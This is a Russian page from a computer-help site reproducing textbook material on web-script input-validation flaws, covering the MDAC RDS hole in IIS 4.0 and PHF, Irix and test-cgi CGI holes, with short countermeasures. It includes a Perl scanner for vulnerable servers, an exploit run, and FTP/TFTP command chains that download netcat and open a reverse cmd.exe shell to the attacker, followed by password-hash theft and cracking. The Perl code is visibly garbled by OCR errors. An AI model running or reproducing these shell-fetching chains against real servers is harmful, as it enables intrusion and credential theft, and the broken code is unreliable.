Бесплатный электронный учебник по защите информации компьютера в интернет

Вредоносные программы

служба Компьютерная помощь
Кириши Ленинградской области

Несоответствие сценариев требованиям безопасности: взлом при отсутствии проверки ввода

вредоносные программы
Антивирусная защита компьютера. Вызов мастера на дом в Кириши
 

Первые признаки вируса
Компьютерные вирусы
Классификация компьютерных вирусов
Нежелательные программы
Вредоносные программы
Удаление программ вирусов
Правила антивирусной безопасности компьютера
Какой антивирус лучший?
Скачать антивирус бесплатно
Бесплатно скачать антивирус для Vista
Лицензионный антивирус Касперского 7.0
Купить лицензионный антивирус Касперского 7.0
Лицензионный антивирус Dr.Web 4.44
Купить лицензионный антивирус Dr.Web 4.44
Карта сайта / Главная
Наша ссылка

Несоответствие сценариев требованиям безопасности: взлом при отсутствии проверки ввода

Причиной взлома при отсутствии проверки ввода с использованием общего интерфейса шлюза (CGI — Common Gateway Interface), активных страниц сервера (ASP — Active Server Pages) и языка разметки CFML (Cold Fusion Markup Language), является промах либо разработчика, либо поставщика программного обеспечения. Основная проблема возникает из-за недостаточной обработки входных данных некоторого сценария. Если не позаботиться о проверке достоверности и последующей очистке входных данных, взломщик сможет передать сценарию нужный символ, скажем, локальную команду, в качестве параметра и таким образом локально запустить эту команду на Web-сервере.

 

Изъян MDAC RDS IIS 4.0

Вскоре после того, как компания Microsoft справилась с проблемой, вызванной программой iishack, работа которой приводила к переполнению буфера сервера IIS (это произошло в июне 1999 года), в июле ей пришлось столкнуться с другой проблемой, связанной с Web-сервером. Данная проблема была описана в бюллетене компании Microsoft, посвященном вопросам безопасности, еще в 1998 году, но стала известна широкой общественности лишь в последнее время. Этот изъян возникает из-за недостатка одного из компонентов Microsoft доступа к данным (MDAC — Microsoft Data Access Components) службы RDS (Remote Data Service), который позволяет взломщику запускать любые команды на уязвимом сервере.
Первопричина проблемы заключается в объекте DataFactory службы RDS. По умолчанию он позволяет передавать удаленные команды серверу I1S. В этом случае команды запускаются с правами эффективного пользователя этой службы, которым обычно является пользователь SYSTEM (внутренний пользователь, обладающий привилегиями администратора). Это означает, что взломщик может получить удаленный доступ с правами администратора к любому серверу в мире', у которого имеется такой изъян.
Для проверки этой концепции компания Rain.forest.puppy разработала свой сценарий на языке Perl (его можно загрузить с Web-узла компании Security Focus http://vww.securityfocus.com), посылающий запрос RDS в базу данных, которая служит в качестве образца и называется btcustmr.mdb. Целью запроса является запуск на сервере команды, вводимой пользователем.
Поиск уязвимых серверов в сети представляется простой задачей. Посмотрим, как можно обнаружить компоненты MDAC службы RDS. С помощью утилиты netcat и языка Perl можно просканировать подсети в поисках признаков уязвимого сервера — наличия динамически подключаемой библиотеки msadcs.dll. Если в результате обработки HTML-запроса будет получена строка appiication/x-varg, значит, высока вероятность того (хотя и не на 100%), что данная система уязвима. Ниже для примера приведен код на языке Perl, с помощью которого можно обнаружить данный изъян.

#!/usr/bin/perl
if ($|ARGV < 0) {
print "Ошибка в синтаксиме - попробуйте eщe pas.";
print ": mdac.pl 10.1.2.3-255";}
doit($ARGV[0]); foreach $item (@hosts)
{ portscan($item); }
close OUTFILE;
sub doit { $line = $_[0];
if ($line!=/#/) {
if ($line=~/-/) {
Stmp = split/-/, $line;
Ship = split//, $tmp[0];
@eip = split//, $tmp[lj;
} else
{
@bip = split//, $line;
@eip = split//, $line; }
$al = $bip[0];
$bl = $bip[l];
$cl = $bip[2];
$dl = $bip[3];
Snum = @eip; if ($num==l)
{ $a2 = $bip[0]
$b2 = $bip[l]
$c2 = $bip[2]
$d2 = $eip[0]
} elsif
($num==2)
{$a2 = $bip[0]
$b2 = $bip[l]
$c2 = $eip[0]
$d2 = $eip[l] }
elsif
($num==3)
{
$a2 = $bip[0]
$b2 = $eip[0]
$c2 = $eip[l]
$d2 = $eip[2]
} elsif
($num== )
{
$a2 = $eip[0]
$b2 '-= $eip[l]
$c2 = $eip[2]
$d2 = $eip[3] }
# Ha базк IP-адреса подсети (класс A, B, C)задаем
# корректные значения переменных.
check_end(); $aend=$a2;
# Создание массива.
while
($al < $aend)
( while ($bl < $bend)
{ while ($cl < $cend)
{ while ($dl < Sdend) {
push (@hosts, "$al.$bl.$cl.$dl">;
$dl+=l;
check_end();
}
$cl+=l;
$dl=0;
}
$bl+=l;
$cl=0;
}
$al+=l; $bl=0; } } }
sub portscan ( my $target = $_[0];
print "Сканируется порт $target."; local $/;
open(SCAN,"nc -vzn -w 2 $target 80 2»
&1I");
# Порт открыт
$result = <SCAN>;
if ($result=~/open/)
{
print "\tПорт 80 Ha $target открыт . \n";
print OUTFILE "порт 80 открыт\n";
open (HTTP, ">http.tmp");
print HTTP "GET /msadc/msadcs.dll HTTP/1.0\n\n";
close HTTP;
open(SCAN2, "type http.tmp I nc -nvv -w 2 $target 80 2>&1 I");
$result2 = <SCAN2>;
if (Sresult2=~/Microsoft-IIS4.07)
{
if ($result2=~/x-varg/){
print "
$target уязвима против атаки MDAC.";
print OUTFILE "$target
может быть уязвима против атаки &MDAC.";
}
}
close SCAN;
}
}
sub check_end
{
if (($al==$a2) &S ($bl==$b2) &
s ($cl==$c2)) {
$dend=$d2; }
else {
$dend=255; }
if (($al==$a2) &&
($bl==$b2)) {
$cend=$c2; }
else {
$cend=255; }
if ($al= =$a2)
{
$bend=$b2; - }
else {
$bend=255;
}
}

При использовании параметра -n команды netcat требуется, чтобы в командной строке явно указывался IP-адрес

"Анатомия" атаки

Сценарий Perl можно найти на многих Web-узлах, в том числе в архиве NTBugtraq (http://www.ntbugtraq.com) или на узле компании Security Focus (http://www.securityfocus.com). Он работает одинаково эффективно как в системе UNIX, так и в NT, и предпринимает попытку установить связь с компонентами MDAC, чтобы добавить в запрос SQL строку | shell ($command) |. Когда компонент MDAC достигает команды shell, выполняется команда, заданная в переменной $ command. Для того чтобы убедиться в наличии описанной возможности, попробуйте запустить команду со следующим синтаксисом.

C:\>perl mdac_exploit.pl -h 192.168.50.11
-- RDS exploit by rain forest puppy/ADM/Wiretrip--
Command: <run your command here>
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: Success!

Разработка корректной команды для системы NT — непростая задача. Сомил Шах (Somil Shah) и Нитеш Даньяни (Nitesh Dhanjani) вместе с Джорджем Куртцом (George Kurtz) разработали интересную последовательность команд, которые можно загрузить с помощью TFTP или по FTP. В результате будет загружена и запущена утилита netcat, возвращающая обратно командную оболочку системы NT (cmd.exe). Например, с использованием средств FTP можно воспользоваться следующей последовательностью команд,

"cd SystemRoot £& echo $ftp_user>ftptmp
&& echo $ftp_pass»ftptmp
&& echo bin»ftptmp &&
echo get nc. exe»ftptmp
&£ echo bye»ftptmp &£
ftp -s:ftptmp $ftp_ip &&
del ftptmp &&
attrib -r nc.exe && nc
-e cmd.exe $my_ip $my_port"

При использовании TFTP аналогичные команды будут выглядеть следующим образом,

"cd\%SystemRoot\%
&&tftp-i $tftp_ip GET nc.exe nc.exe &S
attrib
-r nc.exe && nc -e cmd.exe $my_ip $my_port"

Применение этих команд в сценарии Perl позволит вернуть командную оболочку удаленной системы, с помощью которой можно будет загрузить любое количество файлов, включая утилиту pwdump.exe (позволяющую получить хэш-коды из базы данных SAM), а затем приступить к взлому с применением утилит L0phtcrack или John vl.6. Если команда оказалась неработоспособной, то, не исключено, что на пути к порту TCP (FTP) с номером 21 или порту UDP (TFTP, 69) целевой системы находится маршрутизатор или брандмауэр.

Контрмеры: защита компонентов МDАС службы RDS

Для того чтобы предотвратить такие атаки, либо удалите все файлы, используемые в этом случае, либо измените конфигурационные параметры сервера. 

Изъяны CGI

По-видимому, после переполнения буфера плохо написанные сценарии CGI являются наиболее опасными изъянами в Internet. В электронном мире еще можно найти Web-серверы, разработчики которых экономили время на программировании, а после того, как взломщик пробрался на сервер и навел там свои порядки, пожалели о своей спешке. В этом разделе описано несколько наиболее популярных изъянов сценариев CGI, а также последствия, к которым приводит их использование.

Сценарии PHF

Возможно, одним из наиболее старых и в наши дни редко встречающихся изъянов является сценарий PHF, который изначально применялся на серверах HTTPD центра NCSA (версия 1.5А-Export или более ранние) и сервера Apache (версии 1.0.3). Эта программа CGI является примером сценария, обеспечивающего интерфейс в виде форм, который можно использовать для поиска имен и адресов в адресной книге. Из-за того что в этом сценарии для проверки входных данных используется функция escape_shell_cmd(), он оказывается уязвимым для широко распространенной атаки, при которой обманным путем удается локально запускать команды. Символ новой строки (0х0а в шестнадцатеричной системе счисления) не проверяется при контроле правильности входных данных. Поэтому он может быть использован для прерывания выполнения сценария и запуска любой команды, указанной после этого символа, в локальном контексте Web-сервера. Например, введение следующего адреса URL приведет к извлечению файла паролей, если пользователь, запустивший Web-сервер, обладает правами доступа к этому файлу.

Контрмеры: защита сценариев РНР

Предотвращение

Лучше всего удалите этот сценарий с Web-сервера. Скорее всего, на рабочем сервере такой сценарий не требуется.

Обнаружение

Средства обнаружения атак, направленных на использование изъяна PHF, встроены почти в каждую бесплатную или коммерческую систему выявления вторжений, так что в этом случае решить проблему безопасности будет несложно.

С помощью программы phfprobe.pl можно привлечь взломщиков к своему Web-узлу и зафиксировать выполняемые ими действия. В процессе анализа полученных данных можно лучше продумать стратегию защиты. Данная программа Perl служит в качестве приманки, имитирующей сценарий PHF. Она отправляет взломщикам такие ответные сообщения, как будто предпринимаемые ими действия выполняются успешно. На самом же деле осуществляется сбор информации о взломщиках и их тактике. Эту ловушку следует применять только при полной уверенности в надежности системы.

Изъяны CGI системы Irix

Первое сообщение об изъяне CGI системы Irix появилось в 1997 году в бюллетене Bugtraq. Новость опубликовал Разван Драгомиреску (Razvan Dragomirescu). Он обнаружил, что в состав подсистемы Outbox Environment многих систем Irix входит несколько программ, уязвимых для взлома при отсутствии проверки ввода. Сценарий webdist.cgi, а также сценарии-оболочки систем Irix 5.x и 6.x позволяют взломщикам передавать локальные команды и запускать их на удаленном узле. 

Контрмеры против использования изъянов CGI систем Irix

Как и раньше, если сценарий не применяется, лучше всего удалить его из системы и тем самым предотвратить возможность использования его изъянов. Если же удалить сценарий невозможно, воспользуйтесь модулем обновления SGI, который можно найти по адресу http://www.sgi.com/support/patch_intro.html.

test-cgi

Впервые об этом изъяне широкой общественности сообщила группа L0pht в 1996 году. С его использованием взломщик может удаленно получать информацию о файлах, которые имеются на целевом узле. Например, используя следующий URL, взломщик может просмотреть список всех файлов и каталогов, которые содержатся в каталоге сценариев (egi -bin).

http://192.168.51.101/cgi-bin/test-cgi?*

 В результате на экран будет выведено значение переменной окружения QUERY_STRING.

QUERY_STRING = count.cgi createuser.pl nph-test-cgi phf php.cgi
search.pl
test-cgi wwwcount.cgi

Конечно же, получение перечня имеющихся в системе сценариев поможет взломщику найти другие слабые места, через которые можно будет получить доступ к Web-серверу, например PHF, PHP и т.д. Эта информация откроет взломщику доступ к удаленному узлу с правами пользователя или даже суперпользователя, а впоследствии он добьется контроля над всей системой UNIX.

Контрмеры против использования изъянов ССI

Если обычное решение проблемы (удаление сценария) по каким-либо причинам реализовать нельзя, стоит обратиться к некоторым ресурсам Internet, в которых можно найти советы по безопасному написанию сценариев

 
 
 
вредоносные программы
Мы надеемся, что Ваш компьютер
верой и правдой прослужит долгие годы, принося пользу и удовольствие.